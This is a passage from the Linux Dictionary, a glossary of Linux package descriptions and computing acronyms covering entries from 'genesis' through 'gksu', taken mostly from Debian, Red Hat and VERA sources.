<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

genesis

General-purpose neural simulator GENESIS is a general purpose simulation platform which was developed to support the simulation of neural systems ranging from complex models of single neurons to simulations of large networks made up of more abstract neuronal components. GENESIS has provided the basis for laboratory courses in neural simulation at both Caltech and the Marine Biological Laboratory in Woods Hole, MA. Most current GENESIS applications involve realistic simulations of biological neural systems. Although the software can also model more abstract networks, other simulators are more suitable for backpropagation and similar connectionist modeling. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

geneweb

Genealogy Software with Web Interface Geneweb allows you to keep track of ancestral data. It is a powerful system for maintaining a set of data about your family history. It supports much of the

GEDCOM tag system for data storage, and can be used either as your primary system for archiving genealogical data, or as a web service (through a CGI interface) for publishing your data for others to use. Geneweb is under active use and development, so its feature set is constantly improving. It already boasts features not found in most off-the-shelf products, such as consanguinity and relationship calculations, as well as other statistical analysis tools. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gengetopt

skeleton main.c generator gengetopt reads an interface description file, and writes a skeleton main.c file. gengetopt supports: long and short options, 11 types of parameters (including flag, int, double, string, and function call), and a usage message. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GENIE

General Electric Network for Information Exchange (network, GE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

genksyms

generate symbol version information From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

genksyms

generate symbol version information From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

genparse

command line parser generator Genparse is a generic command line parser generator. From simple and concise specification file, you can define the command line parameters and switches that you would like to be able to pass to your program. Genparse creates the C code of the parser for you, which you can then compile as a separate file and link with your program. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

genpower

Monitor UPS and handle line power failures The express aim of the genpower package is to add additional functionality and a simpler means of configuring UPS monitoring, in a full featured suite that can be configured to work with most UPSs featuring an RS232 monitoring port. Depending on the UPS, cable, and the manner in which the genpower package is configured, the genpower package provides the following features: * Line power sensing * Low battery detection * Physical cable detection * The ability to kill the UPS's inverter The Debian package has an extra cable description called "apc-pnp" that should support all of the above for the APC Back-UPS Pro, Smart-UPS, and Matrix-UPS systems using the included Windows-95 Plug-and-Play cable! From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

genromfs

This is the mkfs equivalent for romfs filesystem You need it to build a romfs filesystem. romfs is a small, read-only filesystem intended for installation/rescue disks or "embedded" applications. This filesystem is supported by Linux 2.1.25 and later. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gensgmlenv

Generate /etc/sgml/sgml.env and /etc/sgml/sgml.cenv From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gentoo

A fully GUI configurable X file manager using GTK+ gentoo is a file manager for X11, written from scratch in pure C. It utilises the GTK+ toolkit for its interface. A goal with gentoo is to let the user do all configuration from within the program itself; there should be no need to hand-edit configuration files and restart the program in order to customize it. gentoo features a fairly complex and powerful file identification system, coupled to a object-oriented style system, which together give you a lot of control over how files of different types are displayed and acted upon. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gentoo Linux

Gentoo Linux is a source-based distribution, versatile, fast and completely free. It's geared towards developers and network professionals. Gentoo 1.4_rc4 was released April 15, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

geomview

interactive geometry viewing program Geomview is interactive geometry software which is particularly appropriate for mathematics research and education. In particular, geomview can display things in hyperbolic and spherical space as well as Euclidean space. Modules that rely on the non-free libforms library are not included. Geomview allows multiple independently controllable objects and cameras. It provides interactive control for motion, appearances (including lighting, shading, and materials), picking on an object, edge or vertex level, snapshots in SGI image file or Renderman RIB format, and adding or deleting objects is provided through direct mouse manipulation, control panels, and keyboard shortcuts. External programs can drive desired aspects of the viewer (such as continually loading changing geometry or controlling the motion of certain objects) while allowing interactive control of everything else. Homepage: <http://geomview.org>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GEOS

Graphic Environment Operating System (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

geqn

format equations for troff From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GERAN

GSM EDGE Radio Access Network (GSM, EDGE, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gerbv

Gerber file viewer for PCB design gerbv is a utility for viewing Gerber files. Gerber files are used for communicating printed circuit board (PCB) designs to PCB manufacturers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gerstensaft

Frontend for Simple Asynchronous File Transfer Gerstensaft is an easy to use graphical oriented frontend for sendfile(1). It features sending files and directories and provides a history for addresses. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GESIP

GESellschaft fuer Informatik in der Pharmazie [e.v.] (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getconf

Query system configuration variables From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getent

get entries from administrative database From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getfdprm

print the current format information TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getkeycodes

print kernel scancode-to-keycode mapping table From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getmail

POP3, APOP mail gatherer/forwarder. getmail is intended as a simple replacement for fetchmail. It retrieves mail (either all messages, or only unread messages) from one or more POP3 servers for one

Linux Dictionary

or more email accounts, and reliably delivers into a qmail-style Maildir, mbox file or to a command (pipe delivery) like maildrop or procmail. specified on a per-account basis. getmail also has support for domain (multidrop) mailboxes. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getopt

Parse command line options From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getopt

parse command options (enhanced) From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GETS

Government Emergency Telecommunications System (USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gettext

GNU Internationalization utilities Interesting for authors or maintainers of other packages or programs which they want to see internationalized. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gettext

The GNU gettext package provides a set of tools and documentation for producing multi-lingual messages in programs. Tools include a set of conventions about how programs should be written to support message catalogs, a directory and file naming organization for the message catalogs, a runtime library which supports the retrieval of translated messages, and stand-alone programs for handling the translatable and the already translated strings. Gettext provides an easy to use library and tools for creating, using, and modifying natural language catalogs and is a powerful and simple method for internationalizing programs. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gettextize

add internationalization files to your project From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

getty

alternative Linux getty From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gfx

The GNU HaliFAX Sender This is the GNU HaliFAX Sender, a component of GNU HaliFAX which will help you send Postscript and TIFF g3/g4 files to mgetty+sendfax or hylafax for sending faxes. The GNU HaliFAX will be a complete free client package for HylaFAX and maybe for other fax systems in the future. It is intended to run on both the Win32 platform and the GNU system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFC

Generic Flow Control (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFC

Going For Coffee (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gfcc

GTK firewall control center Allows setup of a firewall using a GTK gui. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFDL

GNU Free Documentation License (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gfloppy

a simple floppy formatter for the GNOME From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFLOPS

Giga FLoating-point Operations Per Second (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gfontsel

the GNOME Font selector From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gfontview

A font viewer for Type 1 and TrueType fonts gfontview is a font viewer for outline fonts, PostScript(tm) Type 1 and TrueType(tm). gfontview allows you to display a particular character or string of a font in an own window, thus allowing a comparison between several fonts with a particular string sample. This character or string can be antialiased (smoothed). The string can also consider the kerning pairs if available in the AFM or TTF file. The displayed character or string can be saved in GIF format. A table with all glyphs in the font (for PostScript Type 1 fonts also in several encodings) can also be created. A custom encoding will be generated on the fly to allow you to see all characters (also not encoded ones) in a Type 1 font, the so called "Custom" encodings. You can also print a sample of a font. The program generates PostScript code with sample strings in several sizes, which you can download to any PostScript printer or to ghostscript. TrueType fonts can be saved as Type42 PostScript fonts. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gforth

GNU Forth Language Environment This is the GNU'ish implementation of a Forth programming environment. Forth, as a language, is best known for being stack-based, and completely extensible. Each Forth environment provides one or more dictionaries of pre-defined words, and programming in Forth consists of defining and executing new words that are combinations of previously defined words. It has been said that learning Forth changes forever the way you think about writing programs. For more information about Forth, visit the Forth Interest Group web site at <http://www.forth.org/fig.html>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFP

Global Functional Plane (IN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gfpoken

Recreate a grid of mirrors from clues given by tests Send balls through an invisible grid of mirrors (and other interesting widgets) and observe where they end up. Then, try to recreate the same grid from the results you just obtained. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFS

??? File System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFS

Global File System; an open source shared disk file system for networked storage. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GFSK

Gaussian Frequency Shift Keying (DFUe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gfslicer

A utility to split and join files gfslicer is a utility which allows you to split (slice) files into files with the size of your choice. It can also join (deslice) these files back into the original file. Other features are compression and error checking. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gftodvi

make proof sheets from generic font files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gftopk

convert generic font files to packed font files From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gftp

gFTP is a multi-threaded FTP client for the X Window System. gFTP supports simultaneous downloads, resumption of interrupted file transfers, file transfer queues to allow downloading of multiple files, support for downloading entire directories/subdirectories, a bookmarks menu to allow quick connection to FTP sites, caching of remote directory listings, local and remote chmod, drag and drop, a connection manager, and much more. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gftp

X/GTK+ FTP client gFTP is a multithreaded FTP client, available in two versions: * version for X, written using GLib and GTK+ * version for the console, using only GLib This is an upgrade convenience package, it's only useful for depending on From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gftype

translate a generic font file for humans to read From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gg-gnome

An instant messenger compatible with Gadu Gadu – GNOME version Gadu Gadu is a Windows instant messenger, very popular in Poland. GNU Gadu is a GTK+/GNOME version for *nix systems. This version is linked against GNOME, and allows you to use gg as a panel applet. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gg-gtk

An instant messenger compatible with Gadu Gadu – GTK+ version Gadu Gadu is a Windows instant messenger, very popular in Poland. GNU Gadu is a GTK+/GNOME version for *nix systems. This is a GTK+–only version, which allows you to use gg without the need to install GNOME libraries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GGI

General Graphics Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GGP

Gateway to Gateway Protocol (RFC 823) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ggradebook

a Gradebook to help teachers manage student grades. A well-featured Gradebook which uses gtk. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GGS

GueteGemeinschaft Software [e.v.] (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GGSN

Gateway GPRS Support Node (GPRS, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ggv

GNOME Ghostview (ggv) is a frontend for Ghostscript, an interpreter of PostScript that is able to properly render PostScript documents in a display or a printer. GGv serves as a layer that isolates the user from the cumbersome options and interface of Ghostscript, and, at the same time, gives extra features such as panning and persistent user settings. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GHC

the Glasgow Haskell Compilation system the Glorious Glasgow Haskell Compilation system (GHC). GHC is a compiler for Haskell98. Haskell is "the" standard lazy functional programming language. Haskell98 is the current version of the language. The language definition and additional documentation can be found in the `haskell-doc' package. Alternatively, there is an online version at <http://haskell.org/onlinereport/>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ghemical

A GNOME molecular modelling environment Ghemical is a computational chemistry software package written in C++. It has a graphical user interface and it supports both quantum-mechanics (semi-empirical) models and molecular mechanics models. Geometry optimization, molecular dynamics and a large set of visualization tools using OpenGL are currently available. Ghemical relies on external code to provide the quantum-mechanical calculations. Semi-empirical methods MNDO, MINDO/3, AM1 and PM3 come from the MOPAC7 package (Public Domain), and are included in the package. The project started as a freeware molecular modelling package, but since the graphical user interface part of the package is quite advanced and clearly written (according to our own biased view, at least), the package now aims to become a common framework for molecular modelling programs generally. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ghex

GNOME Hex editor for files The GHex program can view and edit files in two ways, hex or ascii. Good for editing savegame files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ghfaxviewer

The GNU HaliFAX Viewer This is the GNU HaliFAX Viewer, a component of GNU HaliFAX which will help you look at the TIFF g3/g4 fax files produced by HylaFAX The GNU HaliFAX will be a complete free client package for HylaFAX and maybe for other fax systems in the future. It is intended to run on both the Win32 platform and the GNU system. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GHOST

Goal Hierarchy and Objectives Structuring Technique (TUB) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ghostscript

Ghostscript is a set of software that provides a PostScript(TM) interpreter, a set of C procedures (the Ghostscript library, which implements thegraphics capabilities in the PostScript language) and an interpreter for Portable Document Format (PDF) files. Ghostscript translates PostScript code into many common, bitmapped formats, like those understood by your printer or screen. Ghostscript is normally used to display PostScript files and to print PostScript files to non-PostScript printers. Most applications use PostScript for printer output. You should install ghostscript if you need to display PostScript files, or if you have a non-PostScript printer. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ghostview

a PostScript viewer for X11 This is the GNU PostScript viewer (an X11 frontend for GhostScript, in the gs package), and it is VERY old. Its last release was in 1993, and its user interface is considered ugly by some. You may find the gv package a better alternative. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GHTSTN

Guest Host Technique SuperTwisted Nematic (LCD), "GHT-STN" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GI

Gesellschaft fuer Informatik (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

giblib1

wrapper library for imlib2, and other stuff. giblib is a library of handy stuff. Contains an imlib2 wrapper to avoid the context stuff, doubly-linked lists and font styles. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gibraltar

Gibraltar is a project that aims to produce a Debian GNU/Linux-based router and firewall package. This package boots and runs from CD-ROM, so a hard disk installation is not necessary. Version 0.99.6 was released January 13, 2003.. Version 0.99.7a was released April 30, 2003. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gibraltar-bootsupport

Boot support for Gibraltar live CD-ROM This package contains the necessary support for the live Gibraltar CD-ROM. It will manage /etc and /var to be writeable and will take care of saving and restoring /etc. Therefore this package should be installed on the master copy that will be used as the live file system on the CD-ROM. Do not install it on a system that boots from a harddisk partition (e.g. the development system for creating the bootable CD-ROMs), it will break. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GID

Group ID From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GID

Group identification number for the process. Valid group numbers are given in /etc/group, and in the GID field of /etc/passwd file. When a process is started, its GID is set to the GID of its parent process. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIDAS

Grafisch-Interaktives DatenAnalyseSystem From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIDEI

General Input Device Emulation Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gidentd

RFC1413 compliant IPv4/IPv6 ident daemon gidentd is a fully functional, RFC1413 compliant ident daemon, written by Joern Heissler. It provides IPv4/IPv6 functionality. Its possible to run the gidentd from inetd or as standalone daemon. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gidic

A simple GTK Dictionary gidic (Gtk Inter DICTIONary) is a simple dictionary program which is a GTK-based front-end to The Internet Dictionary project from Tyler Chambers, which includes French, German, Italian, Latin, Portuguese, and Spanish dictionaries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIDO

General Intrusion Detection Object (CIDF) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIF

is an acronym for Graphic Interchange Format, developed by compuserve this is a very popular format for exchanging pictures, it is slowly being replaced by the JPG image format. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIF (Graphic Interchange Format)

A common format for image files, especially suitable for images containing large areas of the same color. GIF format files of simple images are often smaller than the same file would be if stored in JPEG format, but GIF format does not store photographic images as well as JPEG. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gif2png

GIF -> PNG conversions This program can convert GIF images to PNG images. It comes from ESR's page at <http://www.tuxedo.org/~esr/gif2png/>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

giftrans

Convert any GIF file into a GIF89a. Allows for setting the transparent or background color, changing colors, adding or removing comments. Also code to analyze GIF contents. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

giftrans

Giftrans will convert an existing GIF87 file to GIF89 format. In other words, Giftrans can make one color in a .gif image (normally the background) transparent. Install the giftrans package if you need a quick, small, one-purpose graphics program to make transparent .gifs out of existing .gifs. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gigabit

Gb – 1,024 megabits or 1 billion bits of information.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gigabyte

1000 or 1024 Megabytes, depending on who is measuring. See also: Byte From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gigabyte

GB – 1,024 megabytes or 1 billion characters of information.
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIGO

Garbage In Garbage Out From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GII

General Input Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gij

The GNU Java bytecode interpreter. GIJ is not limited to interpreting bytecode. It includes a class loader which can dynamically load shared objects, so it is possible to give it the name of a class which has been compiled and put into a shared library on the class path. This is a dependency package providing the default GNU Java bytecode interpreter for Debian GNU/Linux systems (version 3.0.4 for architecture i386). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIL

Gesellschaft fuer Informatik in der Land-, forst- und ernaehrungswirtschaft [e.v.] (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gilt

An OpenAmulet graphical user interface builder Gilt is an interface builder for the OpenAmulet graphical user interface toolkit. Gilt allows dialog boxes and other windows to be created interactively using the mouse. Widgets, such as scroll bars, buttons, and text input fields can be placed with the mouse, and properties set. Then, Gilt will generate C++ code to generate the same window at run time. Gilt stands for Graphical Interface Layout Tool. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIM

Gesellschaft fuer informationstechnik und InformationsManagement [mbh] (ISC, Bremen) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gimageview

Image Viewer using GTK+ GImageView is image viewer. It has some useful features such as, Simple GUI. Tabbed thumbnail viewer for directories. Low memory use. Image file management tool. Slide show. read/write many image cache formats of thumbnail. read : Konqueror, GQview, Electric Eyes (Picview) write : Nautilus, .xvpics Supported image formats are: JPEG, PNG, PNM, GIF, TIFF,

XBM, XPM, XWD, BMP and PCX. Drag and Drop. You can drop image into like a Gimp from GImageView window. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gimgstamp

A GTK configuration tool for imgstamp gimgstamp is a GTK configuration tool that can customise imgstamp, and allows the user to see what an image will look like after being stamped. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIMP

General / GNU Image Manipulation Program (Linux, Graphik, GNU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gimp

The GIMP is an image manipulation program suitable for photo retouching, image composition and image authoring. Many people find it extremely useful in creating logos and other graphics for web pages. The GIMP has many of the tools and filters you would expect to find in similar commercial offerings, and some interesting extras as well. The GIMP provides a large image manipulation toolbox, including channel operations and layers, effects, sub-pixel imaging and anti-aliasing, and conversions, all with multi-level undo. This version of The GIMP includes a scripting facility, but many of the included scripts rely on fonts that we cannot distribute. The GIMP ftpsite has a package of fonts that you can install by yourself, which includes all the fonts needed to run the included scripts. Some of the fonts have unusual licensing requirements; all the licenses are documented in the package. Get <ftp://ftp.gimp.org/pub/gimp/fonts/freefonts-0.10.tar.gz> and <ftp://ftp.gimp.org/pub/gimp/fonts/sharefonts-0.10.tar.gz> if you are so inclined. Alternatively, choose fonts which exist on your system before running the scripts. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gimp1.2

The GNU Image Manipulation Program, stable version 1.2 The GIMP lets you draw, paint, edit images, and much more! GIMP includes the functionality and plug-ins of other famous image editing and processing programs. This is the stable 1.2 version of GIMP. You *****MUST***** <--- (really!) have the `xfonts-75dpi` and `xfonts-100dpi` packages available on the X server, whether via files or via a font server like `xfs`. The `gimp` package only Recommends: these packages because it's possible to have them served remotely, but you really should install them. :) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GINA

Generische INteraktive Anwendung (GMD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GINA

Graphic Identification and Authentication From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ginac-tools

Some tools for the GiNaC framework GiNaC (which stands for "GiNaC is Not a CAS (Computer Algebra System)") is a library for doing symbolic (i.e. non-numeric) computation directly in the C++ programming language. This package provides some additional tools, like the popular `ginsh` (GiNaC interactive shell) and `viewgar` (for inspecting GiNaC archive files). See <<http://www.ginac.de/>> for detailed information about the GiNaC framework. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIOP

General Inter-ORB Protocol (OMG, CORBA, ORB, IIOP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Giotto

giotto is a floppy Linux, a bootable floppy disk that comes with the necessary parts of the Linux operation system. giotto boots from a floppy (it can be installed also on a hard disk) and runs

completely out of the system's RAM. Generally no hard disks are required. Distribution development is not all that active. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIPS

Giga Instructions Per Second (CPU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gipsc

IP Subnet Calculator for X. The IP Subnet Calculator is a tool that allows network administrators to make calculations that will assist in subnetting a network. You give the network class and subnet bits and you get back the maximum number of subnets, maximum number of hosts per subnet, a bimap showing the breakdown of network bits, subnet bits, and host bits, the decimal and hexadecimal class netmask, the decimal and hexadecimal subnet mask and lists subnets and host information. CIDR support, reverse engineer the network information for a particular interface (e.g. eth0, ppp0) and save capability. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIRL

Generalized Information Retrieval Language From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIS

Geographic Information System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIS

There are many ways to describe a Geographic Information System. Here are three working definitions (from David A. Hastings, 1992, Geographic Information Systems: A Tool for Geoscience Analysis and Interpretation): (The minimal definition): A GIS is a hardware/software system for the storage, management, and (with hardcopy or screen graphic) selective retrieval capabilities of georeferenced data. Definitions like this one are often used by vendors and users of vector-only GIS, whose objective is sophisticated management and output of cartographic data. (A parallel definition): A GIS is a hardware/software system for managing and displaying spatial data. It is similar to a traditional Data Base Management System, where we now think in spatial rather than in tabular terms, and where the "report writer" now allows output of maps as well as of tables and numbers. Thus we can consider a GIS a "spatial DBMS" as opposed to traditional "tabular DBMSs." Few people use this definition, but it might help to explain GIS to a DBMS user. (A more aggressive definition): A GIS is a system of hardware, software, and data that facilitates the development, enhancement, modeling, and display of multivariate (e.g. multilayered) spatially referenced data. It performs some analytical functions itself, and by its analysis, selective retrieval and display capabilities, helps the user to further analyze and interpret the data. Properly configured, the GIS can model (e.g. synthetically recreate) a feature or phenomenon as a function of other features or phenomena which may be related – where all features or phenomena are represented (characterized) by spatial and related tabular data. The analytical objectives described here are sometimes controversial – and often given lip service by cartographic GIS specialists who have not yet seen what can be accomplished scientifically by a select few GISs that go beyond cartographic approaches. Another definition can be found at the University of Edinburgh. From GRASS mini-HOWTO

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GIT

GNU Interactive Tools (GNU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

git

GNU Interactive Tools git is a file system browser with some shell facilities which was designed to make your work much easier and more efficient. gitps is an interactive process viewer/killer. It calls the ps(1) utility internally. and gitps parameters are in fact ps(1) ones. Running gitps is self explanatory. Use the arrows, PageUp, PageDown, Home, End, C-n, C-p, C-v, ESC v to move in the

list, C-l to refresh it and F10 or C-g to leave. You can change these keys. gitview is a hex/ascii file viewer. Too simple to need a separate manual page. Use the arrows, PageUp, PageDown, Home, End, C-n, C-p, C-v, ESC v to move in the file, C-l to refresh the screen and F10 or C-g to leave. You can change these keys. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GITS

Government Information Technology Service (USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GJSP

GNU Java Server Pages (GNU, Java, JSP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GKDC

Group Key Distribution Centre (KDC, CBT) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gkdebconf

Helper to reconfigure packages with Debconf This is a program that helps one using the "dpkg-reconfigure" tool. It is basically a graphical frontend. It makes life easier showing a simple menu of packages which can be reconfigured with Debconf and the Debconf frontends that can be used for the reconfiguration. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gkdial

Gtk-based PPP dial-up configuration tool. GKdial stands for Gtk Kov Dialer. It is meant to setup PPP connections easily without needing to edit config files. It is also meant to dial to the peers you registered using pon/poff or another ppp dialer. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gkermmit

A serial and network communications package. Gkermmit is a GPL'd kermit package. It offers medium-independent terminal session and file transfer. The non-free package ckermmit adds connection establishment, character-set translation and scripting features. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GKMP

Group Key Management Protocol From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gkrellkam

GKrellM plugin that displays a periodically updating image GKrellKam is basically wmGrabImage in a GKrellM panel, except that it is more flexible (you can specify a local or remote image, or a list of local or remote images, or a script that outputs the right image, etc). The image (any format or size) is resized to a thumbnail and placed in a GKrellM panel, where it is updated periodically. Multiple images are rotated. This plugin is useful for keeping track of webcams, weather maps, or any other kind of changing image information. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gkrellm

Multiple stacked system monitors: 1 process. GKrellM charts CPU, Disk, and all active net interfaces automatically. An on/off button and online timer for the PPP interface is provided. Meters for memory and swap usage as well as a system uptime monitor are provided. Additional features are: * Clicking on left or right frame slides GKrellM shut to gain screen space. * Autoscaling grid lines with configurable grid line resolution. * LED indicators for the net interfaces. * Configurable chart sizes. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GKS

Graphic Kernel System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gksu

Gtk+ Frontend to su and sudo gksu is a Gtk+ frontend to /bin/su. It supports login shells and preserving environment when acting as a su frontend. It is useful to menu items or other graphical programs that need to ask a user's password to run another program as another user. gksu can also act as a frontend to sudo. It installs a link /usr/bin/gksudo, which you can call to use this feature. When using sudo, gksudo respects /etc/sudoers definitions. From Debian 3.0r0 APT
